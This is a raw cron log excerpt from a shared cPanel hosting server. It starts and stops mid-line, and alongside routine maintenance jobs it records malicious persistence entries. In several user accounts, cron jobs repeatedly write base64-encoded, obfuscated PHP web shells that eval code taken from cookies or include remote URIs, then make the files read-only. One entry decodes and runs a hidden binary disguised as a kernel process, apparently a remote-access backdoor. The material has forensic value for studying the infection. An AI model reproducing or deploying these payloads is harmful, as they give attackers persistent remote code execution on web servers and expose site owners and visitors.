Q9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:58:01 medusa CROND[7535]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:58:01 medusa CROND[7537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:58:01 medusa CROND[7539]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:58:01 medusa CROND[7540]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:59:02 medusa CROND[9431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:59:02 medusa CROND[9432]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:59:02 medusa CROND[9433]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:59:02 medusa CROND[9434]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:59:02 medusa CROND[9436]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:59:02 medusa CROND[9435]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:59:02 medusa CROND[9437]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:59:02 medusa CROND[9438]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:59:02 medusa CROND[9441]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:59:02 medusa CROND[9440]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:59:02 medusa CROND[9449]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:59:02 medusa CROND[9452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:00:01 medusa CROND[11465]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:00:01 medusa CROND[11482]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 08:00:01 medusa CROND[11487]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:00:01 medusa CROND[11527]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:00:02 medusa CROND[11536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 08:00:02 medusa CROND[11548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:00:02 medusa CROND[11549]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11550]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 08:00:02 medusa CROND[11551]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Jun  7 08:00:02 medusa CROND[11552]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 08:00:02 medusa CROND[11553]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:00:02 medusa CROND[11554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:00:02 medusa CROND[11557]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:00:02 medusa CROND[11561]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:00:02 medusa CROND[11560]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 08:00:02 medusa CROND[11555]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11558]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 08:00:02 medusa CROND[11577]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:00:02 medusa CROND[11566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:00:02 medusa CROND[11582]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11583]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11584]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 08:00:02 medusa CROND[11579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11585]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:00:02 medusa CROND[11580]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Jun  7 08:00:02 medusa CROND[11586]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:00:02 medusa CROND[11591]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:00:02 medusa CROND[11590]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 08:00:02 medusa CROND[11595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0